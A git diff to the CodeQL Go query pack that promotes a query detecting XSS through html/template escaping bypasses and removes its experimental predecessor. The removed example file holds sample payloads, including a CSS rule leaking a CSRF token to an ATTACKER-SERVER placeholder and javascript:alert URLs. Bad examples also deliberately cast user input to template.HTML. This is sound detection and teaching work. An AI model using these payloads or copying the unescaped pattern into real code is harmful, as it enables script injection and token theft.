- + diff --git a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql new file mode 100644 index 000000000000..0618c8e88885 --- /dev/null +++ b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql @@ -0,0 +1,119 @@ +/** + * @name Cross-site scripting via HTML template escaping bypass + * @description Converting user input to a special type that avoids escaping + * when fed into an HTML template allows for a cross-site + * scripting vulnerability. + * @kind path-problem + * @problem.severity error + * @security-severity 6.1 + * @precision high + * @id go/html-template-escaping-bypass-xss + * @tags security + * external/cwe/cwe-079 + * external/cwe/cwe-116 + */ + +import go + +/** + * A type that will not be escaped when passed to a `html/template` template. + */ +class UnescapedType extends Type { + UnescapedType() { + this.hasQualifiedName("html/template", + ["CSS", "HTML", "HTMLAttr", "JS", "JSStr", "Srcset", "URL"]) + } +} + +/** + * Holds if the sink is a data value argument of a template execution call. + * + * Note that this is slightly more general than + * `SharedXss::HtmlTemplateSanitizer` because it uses `Function.getACall()`, + * which finds calls through interfaces which the receiver implements. This + * finds more results in practice. + */ +predicate isSinkToTemplateExec(DataFlow::Node sink) { + exists(Method fn, string methodName, DataFlow::CallNode call | + fn.hasQualifiedName("html/template", "Template", methodName) and + call = fn.getACall() + | + methodName = "Execute" and sink = call.getArgument(1) + or + methodName = "ExecuteTemplate" and sink = call.getArgument(2) + ) +} + +/** + * Data flow configuration that tracks flows from untrusted sources to template execution calls + * which go through a conversion to an unescaped type. + */ +module UntrustedToTemplateExecWithConversionConfig implements DataFlow::StateConfigSig { + private newtype TConversionState = + TUnconverted() or + TConverted(UnescapedType unescapedType) + + /** + * The flow state for tracking whether a conversion to an unescaped type has + * occurred. + */ + class FlowState extends TConversionState { + predicate isBeforeConversion() { this instanceof TUnconverted } + + predicate isAfterConversion(UnescapedType unescapedType) { this = TConverted(unescapedType) } + + /** Gets a textual representation of this element. */ + string toString() { + this.isBeforeConversion() and result = "Unconverted" + or + exists(UnescapedType unescapedType | this.isAfterConversion(unescapedType) | + result = "Converted to " + unescapedType.getQualifiedName() + ) + } + } + + predicate isSource(DataFlow::Node source, FlowState state) { + state.isBeforeConversion() and source instanceof ActiveThreatModelSource + } + + predicate isSink(DataFlow::Node sink, FlowState state) { + state.isAfterConversion(_) and isSinkToTemplateExec(sink) + } + + predicate isBarrier(DataFlow::Node node) { + node instanceof SharedXss::Sanitizer and not node instanceof SharedXss::HtmlTemplateSanitizer + or + node.getType() instanceof NumericType + } + + /** + * When a conversion to a passthrough type is encountered, transition the flow state. + */ + predicate isAdditionalFlowStep( + DataFlow::Node pred, FlowState predState, DataFlow::Node succ, FlowState succState + ) { + exists(ConversionExpr conversion, UnescapedType unescapedType | + // If not yet converted, look for a conversion to a passthrough type + predState.isBeforeConversion() and + succState.isAfterConversion(unescapedType) and + succ.(DataFlow::TypeCastNode).getExpr() = conversion and + pred.asExpr() = conversion.getOperand() and + conversion.getType().getUnderlyingType*() = unescapedType + ) + } +} + +module UntrustedToTemplateExecWithConversionFlow = + TaintTracking::GlobalWithState; + +import UntrustedToTemplateExecWithConversionFlow::PathGraph + +from + UntrustedToTemplateExecWithConversionFlow::PathNode untrustedSource, + UntrustedToTemplateExecWithConversionFlow::PathNode templateExecCall, UnescapedType unescapedType +where + UntrustedToTemplateExecWithConversionFlow::flowPath(untrustedSource, templateExecCall) and + templateExecCall.getState().isAfterConversion(unescapedType) +select templateExecCall.getNode(), untrustedSource, templateExecCall, + "Data from an $@ will not be auto-escaped because it was converted to template." + + unescapedType.getName(), untrustedSource.getNode(), "untrusted source" diff --git a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssBad.go b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssBad.go new file mode 100755 index 000000000000..d9bd46a6b9d7 --- /dev/null +++ b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssBad.go @@ -0,0 +1,13 @@ +package main + +import ( + "html/template" + "net/http" +) + +func bad(w http.ResponseWriter, r *http.Request) { + r.ParseForm() + username := r.Form.Get("username") + tmpl, _ := template.New("test").Parse(`Hi {{.}}`) + tmpl.Execute(w, template.HTML(username)) +} diff --git a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssGood.go b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssGood.go new file mode 100755 index 000000000000..8460f00ba1de --- /dev/null +++ b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssGood.go @@ -0,0 +1,13 @@ +package main + +import ( + "html/template" + "net/http" +) + +func good(w http.ResponseWriter, r *http.Request) { + r.ParseForm() + username := r.Form.Get("username") + tmpl, _ := template.New("test").Parse(`Hi {{.}}`) + tmpl.Execute(w, username) +} diff --git a/go/ql/src/Security/CWE-079/StoredXss.go b/go/ql/src/Security/CWE-079/StoredXss.go index 008b738f4cae..192774f0307d 100644 --- a/go/ql/src/Security/CWE-079/StoredXss.go +++ b/go/ql/src/Security/CWE-079/StoredXss.go @@ -2,12 +2,12 @@ package main import ( "io" - "io/ioutil" "net/http" + "os" ) func ListFiles(w http.ResponseWriter, r *http.Request) { - files, _ := ioutil.ReadDir(".") + files, _ := os.ReadDir(".") for _, file := range files { io.WriteString(w, file.Name()+"\n") diff --git a/go/ql/src/Security/CWE-079/StoredXssGood.go b/go/ql/src/Security/CWE-079/StoredXssGood.go index d73a205ff3fb..a7843e1cfe50 100644 --- a/go/ql/src/Security/CWE-079/StoredXssGood.go +++ b/go/ql/src/Security/CWE-079/StoredXssGood.go @@ -3,12 +3,12 @@ package main import ( "html" "io" - "io/ioutil" "net/http" + "os" ) func ListFiles1(w http.ResponseWriter, r *http.Request) { - files, _ := ioutil.ReadDir(".") + files, _ := os.ReadDir(".") for _, file := range files { io.WriteString(w, html.EscapeString(file.Name())+"\n") diff --git a/go/ql/src/Security/CWE-798/HardcodedCredentials.ql b/go/ql/src/Security/CWE-798/HardcodedCredentials.ql index 37ebbad8f68b..d14f24966bef 100644 --- a/go/ql/src/Security/CWE-798/HardcodedCredentials.ql +++ b/go/ql/src/Security/CWE-798/HardcodedCredentials.ql @@ -5,7 +5,7 @@ * @kind problem * @problem.severity warning * @security-severity 9.8 - * @precision medium + * @precision low * @id go/hardcoded-credentials * @tags security * external/cwe/cwe-259 diff --git a/go/ql/src/change-notes/released/1.2.1.md b/go/ql/src/change-notes/released/1.2.1.md new file mode 100644 index 000000000000..d96e9efc3658 --- /dev/null +++ b/go/ql/src/change-notes/released/1.2.1.md @@ -0,0 +1,5 @@ +## 1.2.1 + +### Minor Analysis Improvements + +* The query `go/hardcoded-credentials` has been removed from all query suites. diff --git a/go/ql/src/change-notes/released/1.3.0.md b/go/ql/src/change-notes/released/1.3.0.md new file mode 100644 index 000000000000..fe0c5a7af3c4 --- /dev/null +++ b/go/ql/src/change-notes/released/1.3.0.md @@ -0,0 +1,5 @@ +## 1.3.0 + +### New Queries + +* Query (`go/html-template-escaping-bypass-xss`) has been promoted to the main query suite. This query finds potential cross-site scripting (XSS) vulnerabilities when using the `html/template` package, caused by user input being cast to a type which bypasses the HTML autoescaping. It was originally contributed to the experimental query pack by @gagliardetto in . diff --git a/go/ql/src/codeql-pack.release.yml b/go/ql/src/codeql-pack.release.yml index 75430e73d1c4..ec16350ed6fd 100644 --- a/go/ql/src/codeql-pack.release.yml +++ b/go/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.2.0 +lastReleaseVersion: 1.3.0 diff --git a/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql b/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql deleted file mode 100644 index ff63f6bfbec7..000000000000 --- a/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql +++ /dev/null @@ -1,153 +0,0 @@ -/** - * @name HTML template escaping passthrough - * @description If a user-provided value is converted to a special type that avoids escaping when fed into a HTML - * template, it may result in XSS. - * @kind path-problem - * @problem.severity warning - * @id go/html-template-escaping-passthrough - * @tags security - * experimental - * external/cwe/cwe-079 - */ - -import go - -/** - * Holds if the provided `untrusted` node flows into a conversion to a PassthroughType. - * The `targetType` parameter gets populated with the name of the PassthroughType, - * and `conversionSink` gets populated with the node where the conversion happens. - */ -predicate flowsFromUntrustedToConversion( - DataFlow::Node untrusted, PassthroughTypeName targetType, DataFlow::Node conversionSink -) { - exists(DataFlow::Node source | - UntrustedToPassthroughTypeConversionFlow::flow(source, conversionSink) and - source = untrusted and - UntrustedToPassthroughTypeConversionConfig::isSinkToPassthroughType(conversionSink, targetType) - ) -} - -/** - * A name of a type that will not be escaped when passed to - * a `html/template` template. - */ -class PassthroughTypeName extends string { - PassthroughTypeName() { this = ["HTML", "HTMLAttr", "JS", "JSStr", "CSS", "Srcset", "URL"] } -} - -module UntrustedToPassthroughTypeConversionConfig implements DataFlow::ConfigSig { - predicate isSource(DataFlow::Node source) { source instanceof ActiveThreatModelSource } - - additional predicate isSinkToPassthroughType(DataFlow::TypeCastNode sink, PassthroughTypeName name) { - exists(Type typ | - typ = sink.getResultType() and - typ.getUnderlyingType*().hasQualifiedName("html/template", name) - ) - } - - predicate isSink(DataFlow::Node sink) { isSinkToPassthroughType(sink, _) } - - predicate isBarrier(DataFlow::Node node) { - node instanceof SharedXss::Sanitizer or node.getType() instanceof NumericType - } -} - -/** - * Tracks taint flow for reasoning about when a `ActiveThreatModelSource` is - * converted into a special "passthrough" type which will not be escaped by the - * template generator; this allows the injection of arbitrary content (html, - * css, js) into the generated output of the templates. - */ -module UntrustedToPassthroughTypeConversionFlow = - TaintTracking::Global; - -/** - * Holds if the provided `conversion` node flows into the provided `execSink`. - */ -predicate flowsFromConversionToExec( - DataFlow::Node conversion, PassthroughTypeName targetType, DataFlow::Node execSink -) { - PassthroughTypeConversionToTemplateExecutionCallFlow::flow(conversion, execSink) and - PassthroughTypeConversionToTemplateExecutionCallConfig::isSourceConversionToPassthroughType(conversion, - targetType) -} - -module PassthroughTypeConversionToTemplateExecutionCallConfig implements DataFlow::ConfigSig { - predicate isSource(DataFlow::Node source) { isSourceConversionToPassthroughType(source, _) } - - additional predicate isSourceConversionToPassthroughType( - DataFlow::TypeCastNode source, PassthroughTypeName name - ) { - exists(Type typ | - typ = source.getResultType() and - typ.getUnderlyingType*().hasQualifiedName("html/template", name) - ) - } - - predicate isSink(DataFlow::Node sink) { isSinkToTemplateExec(sink, _) } -} - -/** - * Tracks taint flow for reasoning about when the result of a conversion to a - * PassthroughType flows to a template execution call. - */ -module PassthroughTypeConversionToTemplateExecutionCallFlow = - TaintTracking::Global; - -/** - * Holds if the sink is a data value argument of a template execution call. - */ -predicate isSinkToTemplateExec(DataFlow::Node sink, DataFlow::CallNode call) { - exists(Method fn, string methodName | - fn.hasQualifiedName("html/template", "Template", methodName) and - call = fn.getACall() - | - methodName = "Execute" and sink = call.getArgument(1) - or - methodName = "ExecuteTemplate" and sink = call.getArgument(2) - ) -} - -module FromUntrustedToTemplateExecutionCallConfig implements DataFlow::ConfigSig { - predicate isSource(DataFlow::Node source) { source instanceof ActiveThreatModelSource } - - predicate isSink(DataFlow::Node sink) { isSinkToTemplateExec(sink, _) } -} - -/** - * Tracks taint flow from a `ActiveThreatModelSource` into a template executor - * call. - */ -module FromUntrustedToTemplateExecutionCallFlow = - TaintTracking::Global; - -import FromUntrustedToTemplateExecutionCallFlow::PathGraph - -/** - * Holds if the provided `untrusted` node flows into the provided `execSink`. - */ -predicate flowsFromUntrustedToExec( - FromUntrustedToTemplateExecutionCallFlow::PathNode untrusted, - FromUntrustedToTemplateExecutionCallFlow::PathNode execSink -) { - FromUntrustedToTemplateExecutionCallFlow::flowPath(untrusted, execSink) -} - -from - FromUntrustedToTemplateExecutionCallFlow::PathNode untrustedSource, - FromUntrustedToTemplateExecutionCallFlow::PathNode templateExecCall, - PassthroughTypeName targetTypeName, DataFlow::Node conversion -where - // A = untrusted remote flow source - // B = conversion to PassthroughType - // C = template execution call - // Flows: - // A -> B - flowsFromUntrustedToConversion(untrustedSource.getNode(), targetTypeName, conversion) and - // B -> C - flowsFromConversionToExec(conversion, targetTypeName, templateExecCall.getNode()) and - // A -> C - flowsFromUntrustedToExec(untrustedSource, templateExecCall) -select templateExecCall.getNode(), untrustedSource, templateExecCall, - "Data from an $@ will not be auto-escaped because it was $@ to template." + targetTypeName, - untrustedSource.getNode(), "untrusted source", conversion, "converted" diff --git a/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughBad.go b/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughBad.go deleted file mode 100755 index a23dfa153ded..000000000000 --- a/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughBad.go +++ /dev/null @@ -1,70 +0,0 @@ -package main - -import ( - "html/template" - "os" -) - -func main() {} -func source(s string) string { - return s -} - -type HTMLAlias = template.HTML - -func checkError(err error) { - if err != nil { - panic(err) - } -} - -// bad is an example of a bad implementation -func bad() { - tmpl, _ := template.New("test").Parse(`Hi {{.}}\n`) - tmplTag, _ := template.New("test").Parse(`Hi \n`) - tmplScript, _ := template.New("test").Parse(``) - tmplSrcset, _ := template.New("test").Parse(``) - - { - { - var a = template.HTML(source(`link`)) - checkError(tmpl.Execute(os.Stdout, a)) - } - { - { - var a template.HTML - a = template.HTML(source(`link`)) - checkError(tmpl.Execute(os.Stdout, a)) - } - { - var a HTMLAlias - a = HTMLAlias(source(`link`)) - checkError(tmpl.Execute(os.Stdout, a)) - } - } - } - { - var c = template.HTMLAttr(source(`href="https://example.com"`)) - checkError(tmplTag.Execute(os.Stdout, c)) - } - { - var d = template.JS(source("alert({hello: 'world'})")) - checkError(tmplScript.Execute(os.Stdout, d)) - } - { - var e = template.JSStr(source("setTimeout('alert()')")) - checkError(tmplScript.Execute(os.Stdout, e)) - } - { - var b = template.CSS(source("input[name='csrftoken'][value^='b'] { background: url(//ATTACKER-SERVER/leak/b); } ")) - checkError(tmpl.Execute(os.Stdout, b)) - } - { - var f = template.Srcset(source(`evil.jpg 320w`)) - checkError(tmplSrcset.Execute(os.Stdout, f)) - } - { - var g = template.URL(source("javascript:alert(1)")) - checkError(tmpl.Execute(os.Stdout, g)) - } -} diff --git a/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughGood.go b/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughGood.go deleted file mode 100755 index 3c0a8ad4eb4a..000000000000 --- a/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughGood.go +++ /dev/null @@ -1,15 +0,0 @@ -package main - -import ( - "html/template" - "os" -) - -// good is an example of a good implementation -func good() { - tmpl, _ := template.New("test").Parse(`Hello, {{.}}\n`) - { // This will be escaped: - var escaped = source(`link`) - checkError(tmpl.Execute(os.Stdout, escaped)) - } -} diff --git a/go/ql/src/qlpack.yml b/go/ql/src/qlpack.yml index 69f168f17eea..8278ece9be56 100644 --- a/go/ql/src/qlpack.yml +++ b/go/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/go-queries -version: 1.2.0 +version: 1.3.0 groups: - go - queries diff --git a/go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected b/go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected deleted file mode 100644 index c91fe813e9fe..000000000000 --- a/go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected +++ /dev/null @@ -1,76 +0,0 @@ -#select -| HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | Data from an $@ will not be auto-escaped because it was $@ to template.HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | Data from an $@ will not be auto-escaped because it was $@ to template.JS | HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | Data from an $@ will not be auto-escaped because it was $@ to template.JSStr | HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | Data from an $@ will not be auto-escaped because it was $@ to template.CSS | HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | Data from an $@ will not be auto-escaped because it was $@ to template.Srcset | HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | Data from an $@ will not be auto-escaped because it was $@ to template.URL | HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | converted | -edges -| HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | provenance | | -| HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | provenance | Src:MaD:1 | -| HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | provenance | | -| HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | provenance | Src:MaD:1 | -| HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | provenance | | -| HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | provenance | Src:MaD:1 | -| HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | provenance | | -| HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | provenance | Src:MaD:1 | -| HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | provenance | | -| HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | provenance | Src:MaD:1 | -| HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | provenance | | -| HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | provenance | Src:MaD:1 | -| HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | provenance | | -| HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | provenance | Src:MaD:1 | -| HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | provenance | | -| HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | provenance | Src:MaD:1 | -| HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | provenance | | -| HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | provenance | Src:MaD:1 | -| HTMLTemplateEscapingPassthrough.go:75:17:75:31 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:76:38:76:44 | escaped | provenance | Src:MaD:1 | -| HTMLTemplateEscapingPassthrough.go:81:10:81:24 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:84:38:84:40 | src | provenance | Src:MaD:1 | -| HTMLTemplateEscapingPassthrough.go:89:10:89:24 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:91:64:91:66 | src | provenance | Src:MaD:1 | -| HTMLTemplateEscapingPassthrough.go:91:16:91:77 | type conversion | HTMLTemplateEscapingPassthrough.go:92:38:92:46 | converted | provenance | | -| HTMLTemplateEscapingPassthrough.go:91:38:91:67 | call to HTMLEscapeString | HTMLTemplateEscapingPassthrough.go:91:16:91:77 | type conversion | provenance | | -| HTMLTemplateEscapingPassthrough.go:91:64:91:66 | src | HTMLTemplateEscapingPassthrough.go:91:38:91:67 | call to HTMLEscapeString | provenance | MaD:2 | -models -| 1 | Source: net/http; Request; true; UserAgent; ; ; ReturnValue; remote; manual | -| 2 | Summary: html/template; ; false; HTMLEscapeString; ; ; Argument[0]; ReturnValue; taint; manual | -nodes -| HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | semmle.label | c | -| HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | semmle.label | d | -| HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | semmle.label | e | -| HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | semmle.label | b | -| HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | semmle.label | f | -| HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | semmle.label | g | -| HTMLTemplateEscapingPassthrough.go:75:17:75:31 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:76:38:76:44 | escaped | semmle.label | escaped | -| HTMLTemplateEscapingPassthrough.go:81:10:81:24 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:84:38:84:40 | src | semmle.label | src | -| HTMLTemplateEscapingPassthrough.go:89:10:89:24 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:91:16:91:77 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:91:38:91:67 | call to HTMLEscapeString | semmle.label | call to HTMLEscapeString | -| HTMLTemplateEscapingPassthrough.go:91:64:91:66 | src | semmle.label | src | -| HTMLTemplateEscapingPassthrough.go:92:38:92:46 | converted | semmle.label | converted | -subpaths diff --git a/go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qlref b/go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qlref deleted file mode 100644 index c425b9a445b7..000000000000 --- a/go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qlref +++ /dev/null @@ -1,2 +0,0 @@ -query: experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql -postprocess: utils/test/PrettyPrintModels.ql diff --git a/go/ql/test/library-tests/semmle/go/Function/TypeParamType.expected b/go/ql/test/library-tests/semmle/go/Function/TypeParamType.expected index 27a0d5171dec..bda7c1517975 100644 --- a/go/ql/test/library-tests/semmle/go/Function/TypeParamType.expected +++ b/go/ql/test/library-tests/semmle/go/Function/TypeParamType.expected @@ -20,10 +20,6 @@ numberOfTypeParameters | genericFunctions.go:152:6:152:36 | multipleAnonymousTypeParamsType | 3 | | genericFunctions.go:154:51:154:51 | f | 3 | #select -| cmp.Compare | 0 | T | Ordered | -| cmp.Less | 0 | T | Ordered | -| cmp.Or | 0 | T | comparable | -| cmp.isNaN | 0 | T | Ordered | | codeql-go-tests/function.EdgeConstraint | 0 | Node | interface { } | | codeql-go-tests/function.Element | 0 | S | interface { } | | codeql-go-tests/function.GenericFunctionInAnotherFile | 0 | T | interface { } | @@ -57,205 +53,3 @@ numberOfTypeParameters | codeql-go-tests/function.multipleAnonymousTypeParamsType.f | 0 | _ | interface { } | | codeql-go-tests/function.multipleAnonymousTypeParamsType.f | 1 | _ | interface { string } | | codeql-go-tests/function.multipleAnonymousTypeParamsType.f | 2 | _ | interface { } | -| github.com/anotherpkg.GenericFunctionInAnotherPackage | 0 | T | interface { } | -| internal/abi.Escape | 0 | T | interface { } | -| internal/bytealg.HashStr | 0 | T | interface { string \| []uint8 } | -| internal/bytealg.HashStrRev | 0 | T | interface { string \| []uint8 } | -| internal/bytealg.IndexRabinKarp | 0 | T | interface { string \| []uint8 } | -| internal/bytealg.LastIndexRabinKarp | 0 | T | interface { string \| []uint8 } | -| internal/poll.ignoringEINTR2 | 0 | T | interface { } | -| internal/runtime/atomic.Pointer.CompareAndSwap | 0 | T | interface { } | -| internal/runtime/atomic.Pointer.CompareAndSwapNoWB | 0 | T | interface { } | -| internal/runtime/atomic.Pointer.Load | 0 | T | interface { } | -| internal/runtime/atomic.Pointer.Store | 0 | T | interface { } | -| internal/runtime/atomic.Pointer.StoreNoWB | 0 | T | interface { } | -| internal/sync.HashTrieMap.All | 0 | K | comparable | -| internal/sync.HashTrieMap.All | 1 | V | interface { } | -| internal/sync.HashTrieMap.CompareAndDelete | 0 | K | comparable | -| internal/sync.HashTrieMap.CompareAndDelete | 1 | V | interface { } | -| internal/sync.HashTrieMap.CompareAndSwap | 0 | K | comparable | -| internal/sync.HashTrieMap.CompareAndSwap | 1 | V | interface { } | -| internal/sync.HashTrieMap.Delete | 0 | K | comparable | -| internal/sync.HashTrieMap.Load | 0 | K | comparable | -| internal/sync.HashTrieMap.Load | 1 | V | interface { } | -| 